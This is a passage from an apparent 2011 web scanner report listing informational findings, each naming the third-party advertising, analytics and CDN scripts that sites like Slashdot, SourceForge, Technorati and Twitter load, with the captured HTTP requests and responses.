src="http://www.contaxe.com/go/go.js?atp=bnr&adim=1&c=16270&aftxt=1&afimg=1&rnd=1&s=15463">
</script>
...[SNIP]...
<div class="skyscraper">
   <script
    language="JavaScript1.1"
    type="text/javascript"
    src="http://www.contaxe.com/go/go.js?atp=bnr&adim=6&c=16270&aftxt=1&afimg=1&rnd=1&s=15463">
   </script>
...[SNIP]...

21.87. http://slashdot.org/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://slashdot.org
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://a.fsdn.com/sd/all-minified.js?T_2_5_0_306g
http://jlinks.industrybrains.com/jsct?sid=941&ct=SLASHDOT_ROS&num=3&layt=300x250IMGAD&fmt=simp

Request

GET / HTTP/1.1
Host: slashdot.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache/1.3.42 (Unix) mod_perl/1.31
SLASH_LOG_DATA: shtml
X-Powered-By: Slash 2.005001
X-Fry: I'm not a robot like you -- I don't like having disks crammed into me. Unless they're Oreos. And then only in the mouth.
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 90528
Date: Sat, 05 Feb 2011 22:59:15 GMT
X-Varnish: 968454368 968453615
Age: 58
Connection: close

<!DOCTYPE html>
<html lang="en">
<head>
<script id="before-content" type="text/javascript">
var pageload = {
   pagemark: '758239964202071719',
   before_content: (new Date).getTime()
};
function pageload
...[SNIP]...


<script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306g" type="text/javascript"></script>
...[SNIP]...
<div class="advertisement marchex railad" style="padding-top:75px">
           <script type="text/javascript" src="http://jlinks.industrybrains.com/jsct?sid=941&ct=SLASHDOT_ROS&num=3&layt=300x250IMGAD&fmt=simp"></script>
...[SNIP]...

21.88. http://slashdot.org/submit.pl previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://slashdot.org
Path:	/submit.pl

Issue detail

The response dynamically includes the following script from another domain:

http://a.fsdn.com/sd/all-minified.js?T_2_5_0_306g

Request

GET /submit.pl HTTP/1.1
Host: slashdot.org
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 302 Found
Server: Apache/1.3.42 (Unix) mod_perl/1.31
X-Powered-By: Slash 2.005001
X-Bender: I've gone too far! Who does that guy think I am?
X-XRDS-Location: http://slashdot.org/slashdot.xrds
Location: http://slashdot.org/submission
Content-Type: text/html; charset=utf-8
Content-Length: 24603
Date: Sun, 06 Feb 2011 16:01:42 GMT
X-Varnish: 1625234284
Age: 0
Connection: close

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

<html><head><title>302 Moved</title></head><body>
<p>You really want to be on <a href="http://slashdot.org/submission">http://slashdot.org/subm
...[SNIP]...
<![endif]-->

<script src="//a.fsdn.com/sd/all-minified.js?T_2_5_0_306g" type="text/javascript"></script>
...[SNIP]...

21.89. http://sourceforge.net/projects/winscp/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sourceforge.net
Path:	/projects/winscp/

Issue detail

The response dynamically includes the following scripts from other domains:

http://a.fsdn.com/con/js/min.js?1296748840
http://a.fsdn.com/con/js/project.js?1296748840
http://a.fsdn.com/con/js/tagging.js?1296748840
http://s7.addthis.com/js/250/addthis_widget.js

Request

GET /projects/winscp/ HTTP/1.1
Host: sourceforge.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.63
Date: Sat, 05 Feb 2011 21:52:38 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: VISITOR=4d4dc6a686502b08e5002af6; expires="Tue, 02-Feb-2021 21:52:38 GMT"; httponly; Max-Age=315360000; Path=/
Set-cookie: sf.consume=5190f10be680cb56d4527eb2d26de8365965b754gAJ9cQEoVQhfZXhwaXJlc3ECY2RhdGV0aW1lCmRhdGV0aW1lCnEDVQoH9gETAw4HAAAAhVJxBFUFcHJlZnNxBX1xBlUOdXNlc19yZWxhdGlvbnNxB4lVB3ZlcnNpb25xCFUBMlUDa2V5cQlVGDRkNGRjNmE2ODY1MDJiMDhlNTAwMmFmNnEKVQNfaWRxC1UgNTBjMjE5NGVmYTczZjQxODJlZjljZTAxY2U2OGEzZTJxDFUOX2FjY2Vzc2VkX3RpbWVxDUdB01NxqafBDVUOX2NyZWF0aW9uX3RpbWVxDkdB01NxqafAWXUu; expires=Tue, 19-Jan-2038 03:14:07 GMT; Path=/
Content-Length: 44035
Access-Control-Allow-Origin: *

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xht
...[SNIP]...
</script>

<script src="http://a.fsdn.com/con/js/min.js?1296748840" type="text/javascript"></script>

<script src="http://a.fsdn.com/con/js/project.js?1296748840" type="text/javascript"></script>
<script src="http://a.fsdn.com/con/js/tagging.js?1296748840" type="text/javascript"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://s7.addthis.com/js/250/addthis_widget.js#username=sfnet"></script>
...[SNIP]...

21.90. http://sphinn.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://sphinn.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://feeds.feedburner.com/~s/sphinn
http://partner.googleadservices.com/gampad/google_service.js
http://platform.twitter.com/widgets.js
http://static.ak.fbcdn.net/connect.php/js/FB.Share

Request

GET / HTTP/1.1
Host: sphinn.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:59:23 GMT
Server: Apache/2.2
Set-Cookie: ci_session=a%3A5%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A%22ebd855b093eff9801dff359c0bc0930d%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22173.193.214.243%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F4.0+%28compatible%3B+MSIE+7.0%3B+Windows+NT+6.0%29%22%3Bs%3A13%3A%22last_activity%22%3Bi%3A1296946763%3Bs%3A10%3A%22rememberme%22%3Bi%3A0%3B%7D28f3522411827ac80c00f312bf0c11e5; expires=Sun, 06-Feb-2011 00:59:23 GMT; path=/
Connection: close
Content-Type: text/html
Content-Length: 57352

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xml:lang="en" xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://open
...[SNIP]...
<link rel="icon" href="/favicon.ico" type="image/x-icon" />

<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>

<script src="http://feeds.feedburner.com/~s/sphinn" type="text/javascript" charset="utf-8"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript"></script>
...[SNIP]...

21.91. http://statistics.wibiya.com/SetToolbarLoad.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://statistics.wibiya.com
Path:	/SetToolbarLoad.php

Issue detail

The response dynamically includes the following script from another domain:

http://edge.quantserve.com/quant.js

Request

Response

21.92. http://storyonline1.blogspot.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://storyonline1.blogspot.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://g2.gumgum.com/javascripts/ggv2.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://resources.infolinks.com/js/infolinks_main.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET / HTTP/1.1
Host: storyonline1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:52:47 GMT
Date: Sat, 05 Feb 2011 21:52:47 GMT
Cache-Control: public, max-age=0, proxy-revalidate, must-revalidate
Last-Modified: Tue, 01 Feb 2011 11:35:26 GMT
ETag: "5c07e2ba-a5a9-4cbd-8b7f-2f62429efd9d"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/g
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js">
</script>
...[SNIP]...
</script>
<script src='http://g2.gumgum.com/javascripts/ggv2.js' type='text/javascript'></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.93. http://storyonline1.blogspot.com/2010/05/kochupusthakam-malayalam-kambi-kathakal.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://storyonline1.blogspot.com
Path:	/2010/05/kochupusthakam-malayalam-kambi-kathakal.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://g2.gumgum.com/javascripts/ggv2.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://resources.infolinks.com/js/infolinks_main.js
http://www.blogger.com/static/v1/widgets/2885921908-widgets.js

Request

GET /2010/05/kochupusthakam-malayalam-kambi-kathakal.html HTTP/1.1
Host: storyonline1.blogspot.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Expires: Sat, 05 Feb 2011 21:52:47 GMT
Date: Sat, 05 Feb 2011 21:52:47 GMT
Last-Modified: Tue, 01 Feb 2011 11:35:26 GMT
ETag: "5c07e2ba-a5a9-4cbd-8b7f-2f62429efd9d"
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE
Cache-Control: public, max-age=0, must-revalidate, proxy-revalidate
Age: 0
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html dir='ltr' xmlns='http://www.w3.org/1999/xhtml' xmlns:b='http://www.google.com/2005/g
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://resources.infolinks.com/js/infolinks_main.js">
</script>
...[SNIP]...
</script>
<script src='http://g2.gumgum.com/javascripts/ggv2.js' type='text/javascript'></script>
...[SNIP]...
</script><script type="text/javascript" src="http://www.blogger.com/static/v1/widgets/2885921908-widgets.js"></script>
...[SNIP]...

21.94. http://tbe.taleo.net/NA7/ats/careers/jobSearch.jsp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tbe.taleo.net
Path:	/NA7/ats/careers/jobSearch.jsp

Issue detail

The response dynamically includes the following script from another domain:

https://ssl.google-analytics.com/ga.js

Request

GET /NA7/ats/careers/jobSearch.jsp?org=VIBRANT&cws=1 HTTP/1.1
Host: tbe.taleo.net
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache
Pragma: no-cache
Cache-Control: no-cache, no-store, must-revalidate
Expires: Wed, 31 Dec 1969 23:59:59 GMT
Set-Cookie: JSESSIONID=C945AA07FE83ACD62665BD99018DE6A5.NA7_primary_jvm; Path=/NA7/ats
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Connection: close
Content-Type: text/html;charset=UTF-8
Content-Length: 10486

<HTML><HEAD>
<STYLE type="text/css">
#taleoContent {
padding: 0px;
margin: 0px;
margin-top: 15px;
border: none;
font-family:
...[SNIP]...
</table>

<script src='https://ssl.google-analytics.com/ga.js' type='text/javascript'>
</script>
...[SNIP]...

21.95. http://technorati.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://technorati.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://ad-cdn.technoratimedia.com/00/00/30/uat_3000.js?ad_size=300x100
http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=160x600&as=homepage&pos=bot&ad=rb&member=0
http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=300x250&as=homepage&pos=bot&ad=rb&member=0
http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=300x250,300x600&as=homepage&pos=top&ad=rb&member=0
http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=728x90&as=homepage&pos=top&ad=rb&member=0
http://edge.quantserve.com/quant.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://tcr.tynt.com/javascripts/Tracer.js?user=d8v0PSpaur34D6adbiUzgI&s=150&lang=en

Request

GET / HTTP/1.1
Host: technorati.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:22 GMT
Server: Apache
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Set-Cookie: tvisitor=173.193.214.243.1296948284777438; path=/; expires=Thu, 04-Feb-16 23:24:44 GMT; domain=.technorati.com
Set-Cookie: NEWTRSESSID=b6500e835e6995a9d367f969b2ea5516; expires=Mon, 09-May-2011 23:01:22 GMT; path=/; domain=technorati.com
Connection: close
Content-Length: 78558

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

<head profile="http://gmpg.o
...[SNIP]...
<div class="doubleclick">
<script type="text/javascript" src="http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=728x90&as=homepage&pos=top&ad=rb&member=0"></script>
...[SNIP]...
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
...[SNIP]...
<div class="doubleclick">
<script type="text/javascript" src="http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=300x250,300x600&as=homepage&pos=top&ad=rb&member=0"></script>
...[SNIP]...
<div class="doubleclick">
<script type="text/javascript" src="http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=300x250&as=homepage&pos=bot&ad=rb&member=0"></script>
...[SNIP]...

<script type="text/javascript" src="http://ad-cdn.technoratimedia.com/00/00/30/uat_3000.js?ad_size=300x100"></script>
...[SNIP]...
<div class="doubleclick">
<script type="text/javascript" src="http://ad-cdn.technoratimedia.com/00/20/30/uat_3020.js?ad_size=160x600&as=homepage&pos=bot&ad=rb&member=0"></script>
...[SNIP]...

<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...
</script> <script type="text/javascript" src="http://tcr.tynt.com/javascripts/Tracer.js?user=d8v0PSpaur34D6adbiUzgI&s=150&lang=en"></script>
...[SNIP]...

21.96. http://tipd.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tipd.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://partner.googleadservices.com/gampad/google_service.js
http://static.addtoany.com/menu/page.js
http://whitepixel.com/backend/remote/?wp_id=45c9063cc70f40e015c6345e8603ec48

Request

GET / HTTP/1.1
Host: tipd.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:01:21 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Set-Cookie: PHPSESSID=f41u6d286sld84d5bgam0po560; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: swcms_messages=a%3A1%3A%7Bi%3A1%3Ba%3A1%3A%7Bs%3A4%3A%5C%22time%5C%22%3Bi%3A1296946881%3B%7D%7D; expires=Wed, 28-Mar-2012 15:01:21 GMT; path=/
Connection: close
Content-Type: text/html
Content-Length: 92692

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<h
...[SNIP]...
</script>
<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
                   <script type="text/javascript" src="http://static.addtoany.com/menu/page.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...


<script type="text/javascript" src="http://whitepixel.com/backend/remote/?wp_id=45c9063cc70f40e015c6345e8603ec48"></script>
...[SNIP]...

21.97. http://tipd.com/register previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://tipd.com
Path:	/register

Issue detail

The response dynamically includes the following scripts from other domains:

http://edge.quantserve.com/quant.js
http://partner.googleadservices.com/gampad/google_service.js
http://whitepixel.com/backend/remote/?wp_id=45c9063cc70f40e015c6345e8603ec48

Request

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:39:54 GMT
Server: Apache/2.2.3 (CentOS)
X-Powered-By: PHP/5.2.6
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 18500

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<hea
...[SNIP]...
</script>
<script type="text/javascript" src="http://partner.googleadservices.com/gampad/google_service.js">
</script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://edge.quantserve.com/quant.js"></script>
...[SNIP]...


<script type="text/javascript" src="http://whitepixel.com/backend/remote/?wp_id=45c9063cc70f40e015c6345e8603ec48"></script>
...[SNIP]...

Summary

Severity:	Information
Confidence:	Certain
Host:	http://travel.aol.com
Path:	/$\|http:/netscape.aol.com/$\|http:/music.aol.com/radioguide/bb/$\|http:/money.aol.com/$\|http:/www.aim.com/help_faq/starting_out/buddylist.adp/$\|http:/www.weblogs.com/$\|http:/smallbusiness.aol.com/$\|http:/www.blackvoices.com/$\|http:/latino.aol.com/$\|.ivillage.com.*/1\|www.ivillage.com/(celeb-news\|entertainment-photos\|tv\|for-kids\|video\|entertainment\|movies\|food\|recipes\|table-talk\|food-for-kids\|food-advice\|food-news\|food-video

Issue detail

The response dynamically includes the following scripts from other domains:

http://o.aolcdn.com/ads/adsWrapper.js
http://o.aolcdn.com/js/mg2.js
http://o.aolcdn.com/os/aol/jquery-1.4.2.min.js
http://o.aolcdn.com/os/travel/travel-old-app/js/globalScript.js

Request

Response

HTTP/1.1 404 /$%7Chttp:/netscape.aol.com/$%7Chttp:/music.aol.com/radioguide/bb/$%7Chttp:/money.aol.com/$%7Chttp:/www.aim.com/help_faq/starting_out/buddylist.adp/$%7Chttp:/www.weblogs.com/$%7Chttp:/smallbusiness.aol.com/$%7Chttp:/www.blackvoices.com/$%7Chttp:/latino.aol.com/$%7C.ivillage.com.*/1%7Cwww.ivillage.com/(celeb-news%7Centertainment-photos%7Ctv%7Cfor-kids%7Cvideo%7Centertainment%7Cmovies%7Cfood%7Crecipes%7Ctable-talk%7Cfood-for-kids%7Cfood-advice%7Cfood-news%7Cfood-video
Date: Sun, 06 Feb 2011 16:04:56 GMT
Server: Apache-Coyote/1.1
Content-Type: text/html;charset=UTF-8
Set-Cookie: JSESSIONID=5D6805526F760E58513E59C4E8972ABB; Path=/
Keep-Alive: timeout=5, max=89
Connection: Keep-Alive
Content-Length: 53066

           <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml
...[SNIP]...
</script>
<script type="text/javascript" src="http://o.aolcdn.com/js/mg2.js"></script>
...[SNIP]...
</script>

   <script type="text/javascript" src="http://o.aolcdn.com/os/aol/jquery-1.4.2.min.js"></script>

   <script type="text/javascript" src="http://o.aolcdn.com/os/travel/travel-old-app/js/globalScript.js"></script>
   <script type="text/javascript" language="JavaScript1.1" src="http://o.aolcdn.com/ads/adsWrapper.js"></script>
...[SNIP]...

21.99. http://twitter.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/

Issue detail

The response dynamically includes the following scripts from other domains:

http://a2.twimg.com/a/1296843226/javascripts/fronts.js
http://a2.twimg.com/a/1296843226/javascripts/widgets/widget.js?1296891594
http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js

Request

GET / HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

21.100. http://twitter.com/ORTHOSuperSite previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/ORTHOSuperSite

Issue detail

The response dynamically includes the following scripts from other domains:

http://a0.twimg.com/a/1296843226/javascripts/api.js?1296853410
http://a0.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296853410
http://a0.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296853410
http://a1.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296853410
http://a1.twimg.com/a/1296843226/javascripts/twitter.js?1296853410
http://a2.twimg.com/a/1296843226/javascripts/dismissable.js?1296853410
http://a2.twimg.com/a/1296843226/javascripts/geov1.js?1296853410
http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js
http://www.google.com/jsapi

Request

GET /ORTHOSuperSite HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 21:52:51 GMT
Server: hi
Status: 200 OK
X-Transaction: Sat Feb 05 21:52:51 +0000 2011-54414-25157
ETag: "a22e3a1e0872e4ff690e148e7be6dce6"
Last-Modified: Sat, 05 Feb 2011 21:52:51 GMT
X-Runtime: 0.00565
Content-Type: text/html; charset=utf-8
Content-Length: 50362
Pragma: no-cache
X-Revision: DEV
Expires: Tue, 31 Mar 1981 05:00:00 GMT
Cache-Control: no-cache, no-store, must-revalidate, pre-check=0, post-check=0
Set-Cookie: k=173.193.214.243.1296942771024590; path=/; expires=Sat, 12-Feb-11 21:52:51 GMT; domain=.twitter.com
Set-Cookie: guest_id=129694277103136378; path=/; expires=Mon, 07 Mar 2011 21:52:51 GMT
Set-Cookie: auth_token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: _twitter_sess=BAh7CDoPY3JlYXRlZF9hdGwrCFgr0PctAToHaWQiJWMzNjM4Yjc5MDhlOWY3%250AYmIyOTNiM2FkMzU3NmNlNTUzIgpmbGFzaElDOidBY3Rpb25Db250cm9sbGVy%250AOjpGbGFzaDo6Rmxhc2hIYXNoewAGOgpAdXNlZHsA--73c6365753d94a587faec491fa68d9b7ca42e7ce; domain=.twitter.com; path=/
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Vary: Accept-Encoding
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta htt
...[SNIP]...
</div>

<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/twitter.js?1296853410" type="text/javascript"></script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296853410" type="text/javascript"></script>
<script type='text/javascript' src='http://www.google.com/jsapi'></script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296853410" type="text/javascript"></script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296853410" type="text/javascript"></script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/geov1.js?1296853410" type="text/javascript"></script>
<script src="http://a0.twimg.com/a/1296843226/javascripts/api.js?1296853410" type="text/javascript"></script>
...[SNIP]...
</script>
<script src="http://a1.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296853410" type="text/javascript"></script>
<script src="http://a2.twimg.com/a/1296843226/javascripts/dismissable.js?1296853410" type="text/javascript"></script>
...[SNIP]...

21.101. http://twitter.com/VibrantMedia previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://twitter.com
Path:	/VibrantMedia

Issue detail

The response dynamically includes the following scripts from other domains:

http://a1.twimg.com/a/1296843226/javascripts/api.js?1296849139
http://a1.twimg.com/a/1296843226/javascripts/lib/gears_init.js?1296849139
http://a1.twimg.com/a/1296843226/javascripts/lib/jquery.tipsy.min.js?1296849139
http://a2.twimg.com/a/1296843226/javascripts/lib/mustache.js?1296849139
http://a2.twimg.com/a/1296843226/javascripts/twitter.js?1296849139
http://a3.twimg.com/a/1296843226/javascripts/dismissable.js?1296849139
http://a3.twimg.com/a/1296843226/javascripts/geov1.js?1296849139
http://ajax.googleapis.com/ajax/libs/jquery/1.3.0/jquery.min.js
http://www.google.com/jsapi

Request

GET /VibrantMedia HTTP/1.1
Host: twitter.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:41:48 GMT
Server: hi
Status: 200 OK
X-Transaction: Sat Feb 05 22:41:48 +0000 2011-22776-43302
ETag: "58cb376bf09671dadfea46b170bfe723"
Last-Modified: Sat, 05 Feb 2011 22:41:48 GMT
X-Runtime: 0.00548
